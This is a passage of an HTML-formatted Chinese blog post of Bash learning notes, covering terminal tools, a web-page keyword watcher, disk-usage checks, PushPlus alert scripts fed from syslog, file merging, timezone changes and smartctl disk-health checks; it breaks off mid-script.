nginx\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"一些小工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E5%B0%8F%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"一些小工具\"\u003e\u003c/a\u003e一些小工具\u003c/h3\u003e\u003cp\u003elazygit ,Git 的终端界面\u003cbr/\u003eranger ,终端文件管理器\u003cbr/\u003elolcat ,对输出做渐变色处理\u003cbr/\u003etrash ,mv 的垃圾回收站版本\u003cbr/\u003eicdiff ,diff 的样式改进版本\u003cbr/\u003elsd ,带文件类型图标的 ls\u003c/p\u003e\u003ch3 id=\"跟踪某网页特定内容\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B7%9F%E8%B8%AA%E6%9F%90%E7%BD%91%E9%A1%B5%E7%89%B9%E5%AE%9A%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"跟踪某网页特定内容\"\u003e\u003c/a\u003e跟踪某网页特定内容\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=\u003cspan class=\"string\"\u003e\u0026#34;http://v2ex.com\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewant=\u003cspan class=\"string\"\u003e\u0026#34;好玩\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u0026#34;\u003c/span\u003e -O contents\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result=$(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e contents | ack -i \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$want\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$result\u003c/span\u003e\u0026#34;\u003c/span\u003e | mail -s \u003cspan class=\"string\"\u003e\u0026#34;Notification\u0026#34;\u003c/span\u003e youe@mail.com\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;nothing\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"空间查看\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%A9%BA%E9%97%B4%E6%9F%A5%E7%9C%8B\" class=\"headerlink\" title=\"空间查看\"\u003e\u003c/a\u003e空间查看\u003c/h3\u003e\u003cp\u003e最近经常在用这个指令查看空间使用情况:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比如看下缓存占用情况啥的:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e❯ sudo \u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0 ./motd-news\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e1.4M ./apparmor\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2.0M ./man\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20K ./snapd\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e228K ./fontconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3.8M ./debconf\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32K ./ldconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./pollinate\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./private\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./PackageKit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./apache2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./app-info\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e971M ./apt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"用PushPlus集成事件通知服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%94%A8PushPlus%E9%9B%86%E6%88%90%E4%BA%8B%E4%BB%B6%E9%80%9A%E7%9F%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"用PushPlus集成事件通知服务\"\u003e\u003c/a\u003e用PushPlus集成事件通知服务\u003c/h3\u003e\u003cp\u003e这个脚本读取第一,二个命令行参数,然后发送通知。可以跟其他工具串一块,简单实现服务器监控报警功能:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=PUSH_PLUS_TOKEN\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=http://www.pushplus.plus/send\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ejson=\u003cspan class=\"string\"\u003e\u0026#34;{\\\u0026#34;token\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$token\u003c/span\u003e\\\u0026#34;, \\\u0026#34;title\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\\\u0026#34;, \\\u0026#34;content\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$2\u003c/span\u003e\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -H \u003cspan class=\"string\"\u003e\u0026#34;Content-Type: application/json\u0026#34;\u003c/span\u003e -X POST -d \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$json\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e单行脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -F /var/log/syslog | grep -E --line-buffered \u003cspan class=\"string\"\u003e\u0026#34;error|fail|warn\u0026#34;\u003c/span\u003e | \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e line; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e bash /path/to/pushplus.sh \u003cspan class=\"string\"\u003e\u0026#34;服务器异常日志\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193751.png\" alt=\"添加一个“错误”消息\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193904.png\" alt=\"发送成功\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193940.png\"/\u003e\u003c/p\u003e\u003cp\u003e测试就完成了。然后直接nohup丢到后台,就能很方便地实现异常告警了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e集成到crontab\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e用了一段时间之后,发现是挺舒服,配合crontab定时触发更是自动运维的好东西。\u003c/p\u003e\u003cp\u003e假设有一个运维工具将信息直接输出到stdout,那么我们可以在crontab里这么写:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eoutput=$(/path/to/script.sh); pushplus \u003cspan class=\"string\"\u003e\u0026#34;自动任务完成\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$output\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不过得先将上面的\u003ccode\u003epushplus.sh\u003c/code\u003e去掉后缀放在\u003ccode\u003e/usr/local/bin/\u003c/code\u003e之类的地方才能全局使用。\u003c/p\u003e\u003ch3 id=\"文本文件合并\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6%E5%90%88%E5%B9%B6\" class=\"headerlink\" title=\"文本文件合并\"\u003e\u003c/a\u003e文本文件合并\u003c/h3\u003e\u003cp\u003eThis is technically what \u003ccode\u003ecat\u003c/code\u003e (“concatenate”) is supposed to do, even though most people just use it for outputting files to stdout. If you give it multiple filenames it will output them all sequentially, and then you can redirect that into a new file; in the case of all files just use \u003ccode\u003e./*\u003c/code\u003e (or \u003ccode\u003e/path/to/directory/*\u003c/code\u003e if you’re not in the directory already) and your shell will expand it to all the filenames (excluding hidden ones by default).\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ cat ./* \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eMake sure you don’t use the \u003ccode\u003ecsh\u003c/code\u003e or \u003ccode\u003etcsh\u003c/code\u003e shells for that which expand the glob \u003cem\u003eafter\u003c/em\u003e opening the \u003ccode\u003emerged-file\u003c/code\u003e for output, and that \u003ccode\u003emerged-file\u003c/code\u003e doesn’t exist before hand, or you’ll likely end up with an infinite loop that fills up the filesystem.\u003c/p\u003e\u003cp\u003eThe list of files is sorted lexically. If using \u003ccode\u003ezsh\u003c/code\u003e, you can change the order (to numeric, or by age, size…) with glob qualifiers.\u003c/p\u003e\u003cp\u003eTo include files in sub-directories, use:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind . ! -path ./merged-file -type f -exec cat {} + \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eThough beware the list of files is not sorted and hidden files are included. \u003ccode\u003e-type f\u003c/code\u003e here restricts to \u003cem\u003eregular\u003c/em\u003e files only as it’s unlikely you’ll want to include other types of files. With GNU \u003ccode\u003efind\u003c/code\u003e, you can change it to \u003ccode\u003e-xtype f\u003c/code\u003e to also include symlinks to regular files.\u003c/p\u003e\u003cp\u003eWith the zsh shell,\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecat ./**/*(-.) \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWould do the same (\u003ccode\u003e(-.)\u003c/code\u003e achieving the equivalent of \u003ccode\u003e-xtype f\u003c/code\u003e) but give you a sorted list and exclude hidden files (add the \u003ccode\u003eD\u003c/code\u003e qualifier to bring them back). \u003ccode\u003ezargs\u003c/code\u003e can be used there to work around \u003cem\u003eargument list too long\u003c/em\u003e errors.\u003c/p\u003e\u003ch3 id=\"更改时区\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%9B%B4%E6%94%B9%E6%97%B6%E5%8C%BA\" class=\"headerlink\" title=\"更改时区\"\u003e\u003c/a\u003e更改时区\u003c/h3\u003e\u003cp\u003e今天看系统日志的时候发现时间不太对,估计应该是没设置对时区。所以就记录一下。只需要一行:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo timedatectl set-timezone Asia/Shanghai\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 如果要查看所有可用时区的话\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etimedatectl list-timezones\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 查看当前时区信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etimedatectl\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或者也可以用创建符号链接的方式更改:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf /etc/localtime \u0026amp;\u0026amp; \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"监控硬盘状态信息\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%9B%91%E6%8E%A7%E7%A1%AC%E7%9B%98%E7%8A%B6%E6%80%81%E4%BF%A1%E6%81%AF\" class=\"headerlink\" title=\"监控硬盘状态信息\"\u003e\u003c/a\u003e监控硬盘状态信息\u003c/h3\u003e\u003cp\u003e借助\u003ccode\u003esmartctl\u003c/code\u003e就能做到。这工具输出十分丰富,还能跑硬盘测试,这里演示下最简单的用法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e DEVICE \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;sda sdb sdc\u0026#34;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e smartctl -a \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e | \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e grep \u003cspan class=\"string\"\u003e\u0026#39;SMART overall-health self-assessment test result\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e加强版,输出报告:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSMARTCTL=\u003cspan class=\"string\"\u003e\u0026#34;smartctl\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDEVICES=\u003cspan class=\"string\"\u003e\u0026#34;sdb sdc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eget_model\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DEVICE=\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$SMARTCTL\u003c/span\u003e -i \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e | grep \u003cspan class=\"string\"\u003e\u0026#34;Device Model\u0026#34;\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $3}\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003echeck_disk\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DEVICE=\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MODEL=$(get_model \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e STATUS=$(\u003cspan 